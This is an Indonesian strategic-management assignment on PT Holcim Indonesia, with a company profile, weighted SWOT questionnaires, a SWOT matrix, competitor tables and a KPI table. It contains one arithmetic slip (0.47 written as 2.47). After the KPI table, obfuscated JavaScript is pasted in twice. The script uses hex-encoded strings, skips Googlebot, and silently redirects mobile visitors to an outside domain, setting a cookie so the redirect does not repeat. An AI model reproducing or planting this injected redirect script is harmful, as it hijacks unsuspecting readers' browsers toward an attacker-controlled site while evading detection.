TUGAS MANAGEMENT STRATEJIK

“PT. HOLCIM.tbk”

Holcim merupakan pelopor dan perusahaan yang inovatif di industri semen yang berkembang di Indonesia, baik pasar perumahan, bangunan komersial dan proyek infrastruktur yang luas. Kami merupakan satu satunya penyedia layanan yang terintegrasi meliputi 9 tipe semen, beton jadi dan agregate. Kami juga membangun usaha waralaba unik yang lengkap, solusi perumahan yang terjangkau dengan konsep rumah tumbuh, mengembangkan kemampuan lebih dari 3000 tukang bangunan, memiliki lebih dari 43 waralaba dan sekitar 9000 toko bangunan yang tersebar di seluruh pulau Jawa.

Holcim merupakan yang pertama di pasar untuk produk minimix yang dapat dijangkau oleh pemilik rumah melalui telepon, dengan pelayanan beton jadi pada hari yang sama. dan merupakan yang pertama untuk batching plant beton yang bergerak. Seminar tentang praktek terbaik di industri konstruksi dalam pengecoran berskala besar untuk fondasi bangunan tingkat bertingkat telah dilaksanakan dengan baik. Kami merupakan pelopor dalam menciptakan pusat pendidikan profesional baik kejuruan maupun keahlian manajerial melalui Akademi Holcim sehingga menjadi ajuan bagi siswa-siswa di Asia Tenggara.

Pangsa pasar Holcim adalah di Pulau Jawa dimana Holcim mengoperasikan dua pabrik dan satu tempat penggilingan dengan total kapasitas terpasang 8,5 juta ton.

Holcim juga mengoperasikan banyak tempat pengolahan beton dan tambang batu di Jawa disamping jaringan logistik dan gudang penyimpangan.

Geocycle merupakan operasional berbeda yang memberikan jasa bagi penghasil limbah di industri, limbah rumah tangga dan limbah pertanian. Kami merupakan pelopor penghancuran gas CFC ozon yang aman dan satu-satunya fasilitas yang ada di Asia Tenggara. Kami mendapatkan karbon kredit dalam UNFCCC melalui mekanisme produksi bersih untuk proses co-processing biomasa dan memusnahkan emisi CO2 dari pembusukan limbah pertanian yang tidak terpakai.

Pada tahun 2008 merek Holcim memperoleh penghargaan Superbrand yang pertama kali untuk industri semen dan juga memperoleh penghargaan pertama untuk kategori lingkungan dalam Sustainable Development Reporting Awards. Pada tahun yang sama kami juga memperoleh penghargaan dari Presiden Republik Indonesia untuk keselamatan kerja, pada tahun 2006 meraih penghargaan dari Dupont/Warta Ekonomi sebagai “Most caring company for safety” serta mendapatkan medali emas dari Kepolisian Republik Indonesia untuk manajemen keamanan.

Misi, Visi dan Nilai Perusahaan

Misi :
PT. Holcim Indonesia Tbk, melalui manufaktur dan penjualan semen, beton, agregat dan pengembangan sumber daya manusia, kami memberikan keuntungan yang maksimal kepada para pemegang saham, serta mempertahankan tanggung jawab terhadap seluruh pemangku kepentingan.

Visi :
Menjadi yang terbaik dalam hal kinerja dan kami menjadi perusahaan Indonesia yang paling diakui di dalam industri, masuk kategori terbaik didalam Grup Holcim.

Nilai Perusahaan  :
– “Partnership” is our Strength ( mempunyai kekuatan dengan rekan kerja ).
– “Delivering Our Promise” is our Performance.( pengiriman selalu tepat sesuai dengan Perjanjian).
– “Care” is our Passion ( selalu terbuka dan semangat ).

Tujuan Perusahaan

Tujuan PT. Holcim Indonesia adalah sebagai berikut :

  1. Memperluas bidang usaha dan memperluas pangsa pasar.
  2. Memperhatikan keinginan konsumen dan perilaku pembeli.
  3. Menganalisa industri, pesaing, dan pasar bisni.
  4. Pembelian bisnis dan memperoleh laba
  5. Menciptakan images branding yang berkualitas dan memenuhi kebijakan environmental yang harus dipatuhi dan dilaksanakan
  6. Menciptakan lapangan pekerjaan di sekitar area perusahaan pada khususnya dan menciptakan CSR dengan memberdayakan masyarakat sekitarnya
  7. Mematuhi peraturan-peraturan dan undang-undang yang berlaku di Indonesia dan merehabilitasi area.
  8. Mematuhi K3 (keselamatan, kesehatan kerja, kesejahteraan karyawan)

Analisa SWOT

Quesioner Internal Factor Strategi Untuk Mengetahui Kekuatan (Strength)

NO.

FAKTOR STRATEGIS

NILAI

BOBOT

RATING

SKOR

1. PEMASARAN :Memiliki lebih dari 43 waralaba dan sekitar 9.000 toko bangunan yang tersebar diseluruh pulau jawa. 4 0.08 3 0.24
2. PRODUK :

  1. Memiliki predikat kualitas semen terbaik ketiga di Indonesia.
  2. Terdapat keunggulan lime stone.
  3. Satu-satunya penyedia layanan yang terintegrasi meliputi 9 tipe semen, beton jadi,dan aggregate

 

 3
 3 3
 0.06
 0.06 0.06
 3
 33
 0.18
 0.180.18
3. KEUANGANPeningkatan ekuitas merek holcim 3 0.06 3 0.18
4. SDMSering diadakan seminar secara berkala mengenai industry kontruksi. 4 0.08 3 0.24
5. TEKNOLOGI, INFORMASI, DAN PELAYANAN

  1. Pelayanan konsumen dan    pemesanan bisa dijangkau pelanggan melalui via telephone.
  2. Terdapat program solusi rumah yang efisien dan sesuai dengan kemampuan pelanggan.
 
34
0.06 

0.08

3

0.18 

0.24

6. LINGKUNGAN

  1. Tercatat telah memperoleh penghargaan dibidang lingkungan dalam sustainable Development Reporting Awards
  2. Pelopor penghancuran gas CFC ozon yang aman dan satu-satunya fasilitas yang ada di Asia Tenggara.

 

 4  

3

 

 

 0.06   

0.06

 3   

3

 0.18   

0.18

7. Fasilitas :a.batching plantb.capsule truck

c.truck mixer

 33

3

 0.060.06

0.06

 33

3

 0.180.18

0.18

8. DISTRIBUSIMemiliki banyak pabrik di beberapa kota besar lancar dan memiliki beberapa anak perusahaan sehingga distribusi lancar.  4   0.08   3   0.24
 

Total

47 0.92 33 2,76

 

Ukuran Pembobotan :                                                   Ukuran Rating Kekuatan :

1 = Sedikit Penting                                                        1 = Sedikit Kuat

2 = Agak Penting                                                           2 = Agak Kuat

3 = Penting                                                                    3 = Kuat

4 = Sangat Penting                                                        4 = Sangat Kuat

Quesioner Internal Factor Strategi Untuk Mengetahui Kelemahan (Weakness)

NO.

FAKTOR STRATEGIS

NILAI

BOBOT

RATING

SKOR

1. PEMASARANTerdapat HB / policy HI sehingga pemasaran tidak dapat dilakukan secara independen dan meluas.  3  0.27  3  0.81
2. LINGKUNGAN

  1. Ekspansi hanya bisa dilakukan didaerah yang tercakup dalam logistic semen curah
  2. Apresiasi rendah oleh masyarakat Jawa Timur untuk Holcim yang berstandart tinggi (OHS,Lingkungan, Inovasi,dll)
 3   

2

 0.27   

0.18

 

 

 2   

2

 0.36   

0.36

 

 

3. DISTRIBUSIPasar utama masih berada di kota besar sehingga untuk distribusi ke kota-kota kecil berdampak pada harga jual.  3  0.27  3  0.81

Total

11 0.99 11 2.34

 

Ukuran Pembobotan :                                                   Ukuran Rating Kekuatan :

1 = Sedikit Penting                                                      1 = Sedikit Kuat

2 = Agak Penting                                                         2 = Agak Kuat

3 = Penting                                                                   3 = Kuat

4 = Sangat Penting                                                       4 = Sangat Kuat

Quesioner External Factor Strategi Untuk Mengetahui Peluang (Opportunity)

NO.

FAKTOR STRATEGIS

NILAI

BOBOT

RATING

SKOR

1. PEMASARANOperasi holcim beton redymix sebagai saluran untuk memperbaiki pasar aggregate.  3  0.16  3  0.48
2. PRODUK

  1. Pergeseran sekitar 20%-25% dari kantong aggregate untuk semen curah akan pertumbuhan pasar beton berarti konsumsi juga akan naik.
  2. Mempunyai reserve/ cadangan bahan baku yang siap untuk di eksploitasi

 

 

 4    

 

4

 0.22    

 

0.22

 3    

 

3

 0.66    

 

0.66

3. LINGKUNGANPesaing RMX Jawa Timur tidak menjadi model inovasi.  3  0.16  2  0.32
4. FASILITASAda beberapa proyek infrastruktur akan terus dikembangankan oleh pemerintah.  4  0.22  3  0.66

Total

18 0.98 14 2.78

 

Ukuran Pembobotan :                                                   Ukuran Rating Kekuatan :

1 = Sedikit Penting                                                        1 = Sedikit Kuat

2 = Agak Penting                                                           2 = Agak Kuat

3 = Penting                                                                    3 = Kuat

4 = Sangat Penting                                                        4 = Sangat Kuat

Quesioner External Factor Strategi Untuk Mengetahui Ancaman (Threats)

NO.

FAKTOR STRATEGIS

NILAI

BOBOT

RATING

SKOR

1. LINGKUNGAN

  1. Entry barrier, operasi batching plan dan quarry batu dapat dimiliki oleh siapa saja, kapan saja, dan dimana saja.
  2. Jawa Timur memiliki harga pasar sensitive.
  3. Apresiasi rendah oleh pelanggan Jawa Timur untuk holcim yang berstandart tinggi.(OHS,Lingkungan, Inovasi,dll)
3  

 

3

 

3

 0.33  

 

0.33

 

0.33

 

 3  

 

2

 

2

 0.99  

 

0.66

 

0.66

 

 

Total

9 0.99 8 2.31

 

Ukuran Pembobotan :                                                   Ukuran Rating Kekuatan :

1 = Sedikit Penting                                                        1 = Sedikit Kuat

2 = Agak Penting                                                           2 = Agak Kuat

3 = Penting                                                                    3 = Kuat

4 = Sangat Penting                                                        4 = Sangat Kuat

Analisis Matriks SWOT

Dari perhitungan analisis internal dan analisis eksternal akan menghasilkan total skor sebagai berikut :

NO

ANALISA FAKTOR

TOTAL SKOR

1. Strength 2.76
2. Weakness 2.34
3. Opportunity 2.78
4. treaths 2.31

 

Perhitungan Koordinat dari analisis Internal

Sumbu X = (skor strength-skor weakness) : 2

= (2.76 – 2.34) : 2

= 0.42 : 2

= 0.21

Perhitungan koordinat dari analisis Eksternal

Sumbu Y = (skor opportunity – skor treaths) : 2

= (2.78 – 2.31) : 2

= 2.47 : 2

= 0.23

Jadi posisi perusahaan berada pada titik koordinat di ( 0,21: 0,23 ) :

Matriks (anggun)

Setelah diketahui titik pertemuan diagonal sumbu X dan sumbu Y maka posisi unit usaha diketahui pada kuadrat I. hasil dari perhitungan masing-masing kuadrat dapat digambarkan pada table sebagai berikut :

KUADRAT

POSISI TITIK

LUAS MATRIK

RANGKING

PRIORITAS STRATEGI

I

( 2.76 : 2.78 )

7.67

1

Growth

II

( 2.34 : 2.78 )

6.50

2

Stabilitas

III

( 2.76 : 2.31 )

6.37

3

Penciutan

IV

( 2.34 : 2.31 )

5.40

4

Kombinasi

 

Keterangan :

  • Pada kuadran I ( S O Strategi ) strategi umum yang dapat dilakukan oleh perusahaan adalah menggunakan kekuatan perusahaan untuk mengambil setiap keunggulan pada kesempatan yang ada.
  • Pada kuadran II ( W O Strategi ) perusahaan dapat membuat keunggulan pada kesempatan sebagi acuan untuk memfokuskan kegiatan dengan menghindari kelemahan.
  • Pada kuadran III ( W T Strategi ) Meminimumkan segala kelemahan untuk menghadapi setiap ancaman.
  • Pada kuadran IV ( S T Strategi ) Menjadikan setiap kekuatan untuk menghadapi setiap ancaman dengan menciptakan diversifikasi untuk menciptakan peluang.

Strategi Bisnis Unit

Tahapan berikutnya adalah menentukan alternatif strategi bisnis unit berdasarkan letak posisi kuadran. berdasarkan pada diagram matrik swot diatas, PT. Holcim Tbk terletak pada posisi Kuadran I. Masing-masing jenis strategi perkembangan bisnis unit dapat digambarkan pada Diagram Matrik Strategi Umum berikut ini:

Matrik Strategi Umum

Posisi PT. Holcim Tbk terletak pada kuadran I dan menggunakan strategi umum Pengembangan Pasar, yaitu Memperkenalkan produk-produk yang sudah ada kedaerah pemasaran yang baru (pangsa pasar bertambah). Penjelasan alternatif strategi yang dipilih adalah sebagai berikut :

strategi bisnis unit :

prioritas utama :

membuat program iklan melalui media masa, contoh : iklan Holcim melalui televisi yang bertema tentang membangun pertumbuhan Indonesia di segala aspek seperti fasilitas umum, jalan raya, pemukiman publik.

faktor penentu keberhasilan :

1. strategi pemasaran produk yang baik.

2. dukungan infrastruktur dari pemerintah.

output :

sukses membuat iklan di tv yang bisa menarik minat konsumen atau publik.

outcame :

meningkatkan volume penjualan.

impact :

citra perusahaan semakin meningkat.

TABEL ANALISA PERSAINGAN PT.HOLCIM Tbk VS PT. SEMEN TIGA RODA Tbk

(Pesaing Utama)

4 P

HOLCIM

TIGA RODA

KETERANGAN

ACTION PLAN

PRODUCT

UNGGUL

Macam/Jenis Produk & Teknologi

Inovasi Produk yang menarik

PRICE

UNGGUL

Harga yang murah banyak kualitas sama banyak diminati masyarakat

Harga yang murah akan mendapatkan keuntungan yang tinggi.

PLACE

UNGGUL

Memiliki lebih dari 43 waralaba, 9.000 toko yang tersebar di
pulau jawa

melayani customers dengan baik.

PROMOTION

UNGGUL

Iklan produk semen Holcim

Mengiklankan produk-produknya di media elektronik atau pun media
cetak.

 

 

TABEL ANALISA PERSAINGAN PT.HOLCIM Tbk DENGAN PRODUK PENGGANTI
(SUBSTITUSI)

4 P

PRODUK BETON LITE CREAT

PRODUK
BETON THRU CRETE

KETERANGAN

ACTION PLAN

PRODUCT

berat beton lebih ringan, ramah lingkungan

Ramah lingkungan, mampu meneruskan air di permukaan, mampu
menahan beban.

Mampu menghambat panas sehingga mengurangi penggunaan AC,
mengurangi banjir dilingkungan sekitar.

Meningkuatkan SDM yang handal dalam bidang pembuatan produk
terbaru.

PRICE

Lebih terjangkau

Relative mahal

Harga produk beton lite creat lebih terjangkau bagi masyarakat.

Memberikan potongan harga untuk pembelian  produk.

PLACE

Pengguna banyak/luas

Hanya diwilayah tertentu

Adanya persaingan dalam memasarkan produk

Mengutamakan pelayanan untuk customers.

PROMOTION

Unggul

Berbagai iklan di tanyangkan d media elektronik maupun media
cetak.

Mempertahankan iklan produk yang sudah ada.

 TABEL KPI (KEY PERFORMANCE INDIKATOR)

 

Unit

Key
performance indicator (KPI)

ukuran

Base line

sasaran

Realita

Pencapaian

Skor
kinerja

hasil

waktu

hasil

waktu

1.       Marketing

Apresiasi masyarakat
meningkat terhadap produk Holcim dan pengembangan produk Holcim

Semakin banyak masyarakat
yang tahu dan mengenal produkHolcim

Selamainihanya dikenal
di pulau Jawa

Kalimantan
dan
 sumatera, Sulawesi,
papua, bali

2
tahun

Baru
Bali dan Kalimantan

2
tahun

40
%

40%

2.      Pembangunan

Menarik
simpati dari masyarakat terhadap produk Holcim.

 

Semakin
gencarnya
promosi, dan  meningkatnya pemakaian produk Holcim.

 

Selama
ini Jawa dan Sumatera

Kalimantan dan, Sulawesi,

 

5 tahun

 

Kalimantan

 

50 %

50%

3.       Divisi Humas

Mendapatkan
kepercayaan dari setiap perusahaan property

Meningkatnya
tingkat penjualan produk dan secara otomatis juga membantu meningkatkan laba

500
milyar

1 trilyun

1 tahun

750 milyar

 

75 %

75%

SkorKinerja Total

165%

SkorKinerja Rata-Rata(SkorKinerjaTotal ÷ Jumlah KPI)

55%

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}